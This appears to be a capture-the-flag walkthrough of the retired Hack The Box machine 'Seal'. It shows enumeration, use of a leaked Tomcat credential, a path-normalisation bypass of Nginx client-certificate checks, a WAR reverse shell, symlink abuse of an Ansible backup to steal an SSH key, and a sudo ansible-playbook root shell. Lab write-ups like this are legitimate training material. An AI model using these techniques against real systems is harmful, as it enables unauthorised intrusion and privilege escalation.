Seal

Seal
is a Medium rated Linux machine that tests an attacker on their ability to enumerate Git repositories, bypass reverse proxy restrictions and exploit misconfigurations in automation software.
This machine was retired on 14 November 2021 (SGT).
I will be using a Kali Linux virtual machine to attempt this box. Before I start, I will map the machine’s IP address to a domain name, usually using the machine’s name and the TLD .htb
.
kali@kali:~$ echo "10.10.10.250 seal.htb" | sudo tee -a /etc/hosts
Reconnaissance and Enumeration
Nmap
nmap
revealed the following key services:
Port | Service |
---|---|
22/tcp | OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0) |
443/tcp | nginx 1.18.0 (Ubuntu) |
8080/tcp |
kali@kali:~$ nmap -sCV -p- 10.10.10.250
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-14 23:54 +08
Nmap scan report for 10.10.10.250
Host is up (0.044s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 4b:89:47:39:67:3d:07:31:5e:3f:4c:27:41:1f:f9:67 (RSA)
| 256 04:a7:4f:39:95:65:c5:b0:8d:d5:49:2e:d8:44:00:36 (ECDSA)
|_ 256 b4:5e:83:93:c5:42:49:de:71:25:92:71:23:b1:85:54 (ED25519)
443/tcp open ssl/http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Seal Market
| ssl-cert: Subject: commonName=seal.htb/organizationName=Seal Pvt Ltd/stateOrProvinceName=London/countryName=UK
| Not valid before: 2021-05-05T10:24:03
|_Not valid after: 2022-05-05T10:24:03
| tls-alpn:
|_ http/1.1
| tls-nextprotoneg:
|_ http/1.1
8080/tcp open http-proxy
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 401 Unauthorized
| Date: Tue, 14 Sep 2021 15:54:11 GMT
| Set-Cookie: JSESSIONID=node01xdri6xp8mxmw1uucj9v8j9fcg7803.node0; Path=/; HttpOnly
| Expires: Thu, 01 Jan 1970 00:00:00 GMT
| Content-Type: text/html;charset=utf-8
| Content-Length: 0
| GetRequest:
| HTTP/1.1 401 Unauthorized
| Date: Tue, 14 Sep 2021 15:54:11 GMT
| Set-Cookie: JSESSIONID=node0rqv64fkboshsigbvtmt9wd2k7801.node0; Path=/; HttpOnly
| Expires: Thu, 01 Jan 1970 00:00:00 GMT
| Content-Type: text/html;charset=utf-8
| Content-Length: 0
| HTTPOptions:
| HTTP/1.1 200 OK
| Date: Tue, 14 Sep 2021 15:54:11 GMT
| Set-Cookie: JSESSIONID=node0gysgo54d1mn5lejhmefu3lm37802.node0; Path=/; HttpOnly
| Expires: Thu, 01 Jan 1970 00:00:00 GMT
| Content-Type: text/html;charset=utf-8
| Allow: GET,HEAD,POST,OPTIONS
| Content-Length: 0
| RPCCheck:
| HTTP/1.1 400 Illegal character OTEXT=0x80
| Content-Type: text/html;charset=iso-8859-1
| Content-Length: 71
| Connection: close
| <h1>Bad Message 400</h1><pre>reason: Illegal character OTEXT=0x80</pre>
| RTSPRequest:
| HTTP/1.1 505 Unknown Version
| Content-Type: text/html;charset=iso-8859-1
| Content-Length: 58
| Connection: close
| <h1>Bad Message 505</h1><pre>reason: Unknown Version</pre>
| Socks4:
| HTTP/1.1 400 Illegal character CNTL=0x4
| Content-Type: text/html;charset=iso-8859-1
| Content-Length: 69
| Connection: close
| <h1>Bad Message 400</h1><pre>reason: Illegal character CNTL=0x4</pre>
| Socks5:
| HTTP/1.1 400 Illegal character CNTL=0x5
| Content-Type: text/html;charset=iso-8859-1
| Content-Length: 69
| Connection: close
|_ <h1>Bad Message 400</h1><pre>reason: Illegal character CNTL=0x5</pre>
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Server returned status 401 but no WWW-Authenticate header.
|_http-title: Site doesn't have a title (text/html;charset=utf-8).
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8080-TCP:V=7.91%I=7%D=9/14%Time=6140C5A2%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,F6,"HTTP/1\.1\x20401\x20Unauthorized\r\nDate:\x20Tue,\x2014\x2
SF:0Sep\x202021\x2015:54:11\x20GMT\r\nSet-Cookie:\x20JSESSIONID=node0rqv64
SF:fkboshsigbvtmt9wd2k7801\.node0;\x20Path=/;\x20HttpOnly\r\nExpires:\x20T
SF:hu,\x2001\x20Jan\x201970\x2000:00:00\x20GMT\r\nContent-Type:\x20text/ht
SF:ml;charset=utf-8\r\nContent-Length:\x200\r\n\r\n")%r(HTTPOptions,10A,"H
SF:TTP/1\.1\x20200\x20OK\r\nDate:\x20Tue,\x2014\x20Sep\x202021\x2015:54:11
SF:\x20GMT\r\nSet-Cookie:\x20JSESSIONID=node0gysgo54d1mn5lejhmefu3lm37802\
SF:.node0;\x20Path=/;\x20HttpOnly\r\nExpires:\x20Thu,\x2001\x20Jan\x201970
SF:\x2000:00:00\x20GMT\r\nContent-Type:\x20text/html;charset=utf-8\r\nAllo
SF:w:\x20GET,HEAD,POST,OPTIONS\r\nContent-Length:\x200\r\n\r\n")%r(RTSPReq
SF:uest,AD,"HTTP/1\.1\x20505\x20Unknown\x20Version\r\nContent-Type:\x20tex
SF:t/html;charset=iso-8859-1\r\nContent-Length:\x2058\r\nConnection:\x20cl
SF:ose\r\n\r\n<h1>Bad\x20Message\x20505</h1><pre>reason:\x20Unknown\x20Ver
SF:sion</pre>")%r(FourOhFourRequest,F8,"HTTP/1\.1\x20401\x20Unauthorized\r
SF:\nDate:\x20Tue,\x2014\x20Sep\x202021\x2015:54:11\x20GMT\r\nSet-Cookie:\
SF:x20JSESSIONID=node01xdri6xp8mxmw1uucj9v8j9fcg7803\.node0;\x20Path=/;\x2
SF:0HttpOnly\r\nExpires:\x20Thu,\x2001\x20Jan\x201970\x2000:00:00\x20GMT\r
SF:\nContent-Type:\x20text/html;charset=utf-8\r\nContent-Length:\x200\r\n\
SF:r\n")%r(Socks5,C3,"HTTP/1\.1\x20400\x20Illegal\x20character\x20CNTL=0x5
SF:\r\nContent-Type:\x20text/html;charset=iso-8859-1\r\nContent-Length:\x2
SF:069\r\nConnection:\x20close\r\n\r\n<h1>Bad\x20Message\x20400</h1><pre>r
SF:eason:\x20Illegal\x20character\x20CNTL=0x5</pre>")%r(Socks4,C3,"HTTP/1\
SF:.1\x20400\x20Illegal\x20character\x20CNTL=0x4\r\nContent-Type:\x20text/
SF:html;charset=iso-8859-1\r\nContent-Length:\x2069\r\nConnection:\x20clos
SF:e\r\n\r\n<h1>Bad\x20Message\x20400</h1><pre>reason:\x20Illegal\x20chara
SF:cter\x20CNTL=0x4</pre>")%r(RPCCheck,C7,"HTTP/1\.1\x20400\x20Illegal\x20
SF:character\x20OTEXT=0x80\r\nContent-Type:\x20text/html;charset=iso-8859-
SF:1\r\nContent-Length:\x2071\r\nConnection:\x20close\r\n\r\n<h1>Bad\x20Me
SF:ssage\x20400</h1><pre>reason:\x20Illegal\x20character\x20OTEXT=0x80</pr
SF:e>");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.48 seconds
443/tcp (Nginx Web Server)
Website is hosted on a HTTPS port, checking the certificate revealed domain to be seal.htb
. Nothing intersting can be seen as of now. Running directory brute force reveals the existence of an admin
and manager
directories.
kali@kali:~$ ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u https://seal.htb/FUZZ
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.1.0
________________________________________________
:: Method : GET
:: URL : https://seal.htb/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403
________________________________________________
images [Status: 302, Size: 0, Words: 1, Lines: 1]
admin [Status: 302, Size: 0, Words: 1, Lines: 1]
icon [Status: 302, Size: 0, Words: 1, Lines: 1]
css [Status: 302, Size: 0, Words: 1, Lines: 1]
js [Status: 302, Size: 0, Words: 1, Lines: 1]
manager [Status: 302, Size: 0, Words: 1, Lines: 1]
Accessing the /admin
directory on a web browser returns a 404 Not Found
. Interestingly it reveals that this web instance is running on an Apache Tomcat (9.0.31)
service.
Accessing the /manager
directory returns a redirect to /manager/html
, after which a 403 Forbidden
is returned by Nginx. As of now there is no further information on these 2 services.
8080/tcp (GitBucket)
GitBucket prompts for credentials, but a new account can be created without issue. 2 repositories can be seen: seal_market
and infra
.
Exploring the seal_market
repository, it can be seen that the repository contains the source code and configuration for the Apache Tomcat web deployment.
Under the nginx
site configurations, it can be seen that several endpoints (locations) are protected by Client SSL authentication.
Checking the commit history Commit 971f3aa revealed that there is a credential leak for the Apache Tomcat service (tomcat:42MrHBf*z8{Z%
).
Exploiting URL Normalisation issue
A finding by Acunetix highlights that a URL normalisation issue exists between Nginx and Apache Tomcat. Apparently ;
can be used to prevent Nginx from normalising the URL (from /manager/;/html
) to /manager/html
, bypassing the location
block containing Client SSL authentication checks.
Accessing https://seal.htb/manager/;/html
will prompt for credentials. Use the Tomcat credentials obtained previously and authentication will be successful.
Initial Foothold: tomcat
Generate a WAR package to execute a reverse shell and deploy it on the server.
Start a netcat
listener and visit the URL of the deployed WAR file (/shell
) to trigger the reverse shell.
kali@kali:~$ nc -lvnp 13337
listening on [any] 13337 ...
connect to [10.10.14.19] from (UNKNOWN) [10.10.10.250] 51708
id && hostname
uid=997(tomcat) gid=997(tomcat) groups=997(tomcat)
seal
Privilege Escalation: luis
cat /opt/backups/playbook/run.yml
- hosts: localhost
tasks:
- name: Copy Files
synchronize: src=/var/lib/tomcat9/webapps/ROOT/admin/dashboard dest=/opt/backups/files copy_links=yes
- name: Server Backups
archive:
path: /opt/backups/files/
dest: "/opt/backups/archives/backup--.gz"
- name: Clean
file:
state: absent
path: /opt/backups/files/
This playbook will recursively copy all files in /var/lib/tomcat9/webapps/ROOT/admin/dashboard
to /opt/backups/files
. The option copy_links=yes
will copy the actual file a symlink is pointing to, rather than the symlink itself. This allows us to copy files that are inaccessible by tomcat
but accessible by luis
. We can abuse this to copy out luis
’s SSH private key (Assuming it’s id_rsa
since that is the default SSH RSA private key name).
cd /var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads
ln -s /home/luis/.ssh/id_rsa
Download the backup archive in /opt/backups/archives
, extract it and retrieve the SSH private key of luis
.
kali@kali:~$ ssh -i id_rsa [email protected]
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Wed 15 Sep 2021 07:52:51 AM UTC
System load: 0.1 Processes: 175
Usage of /: 48.7% of 9.58GB Users logged in: 0
Memory usage: 28% IPv4 address for eth0: 10.10.10.250
Swap usage: 0%
0 updates can be applied immediately.
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Wed Sep 15 07:49:09 2021 from 10.10.14.12
luis@seal:~$
user.txt
The user flag is located in the home directory of luis
.
luis@seal:~$ ls -l
total 51272
-rw-r--r-- 1 luis luis 52497951 Jan 14 2021 gitbucket.war
-r-------- 1 luis luis 33 Sep 15 06:14 user.txt
luis@seal:~$ cat user.txt
7b01****************************
Privilege Escalation: root
Running sudo -l
revelaed that user luis
can execute ansible-playbook
wih root privileges without password prompt.
luis@seal:~$ sudo -l
Matching Defaults entries for luis on seal:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User luis may run the following commands on seal:
(ALL) NOPASSWD: /usr/bin/ansible-playbook *
Using GTFOBins, one can see that ansible-playbook
can be used to spawn a root shell when executed with sudo
.
luis@seal:~$ TF=$(mktemp)
luis@seal:~$ echo '[{hosts: localhost, tasks: [shell: /bin/bash </dev/tty >/dev/tty 2>/dev/tty]}]' >$TF
luis@seal:~$ sudo ansible-playbook $TF
[WARNING]: provided hosts list is empty, only localhost is available. Note that the implicit localhost does not match 'all'
PLAY [localhost] ******************************************************************************************************************************************************************
TASK [Gathering Facts] ************************************************************************************************************************************************************
ok: [localhost]
TASK [shell] **********************************************************************************************************************************************************************
root@seal:/tmp#
root.txt
The root flag is located in the home directory of root
.
root@seal:~# ls -l
total 8
-r-------- 1 root root 33 Sep 15 06:14 root.txt
drwxr-xr-x 3 root root 4096 May 7 2021 snap
root@seal:~# cat root.txt
da8e****************************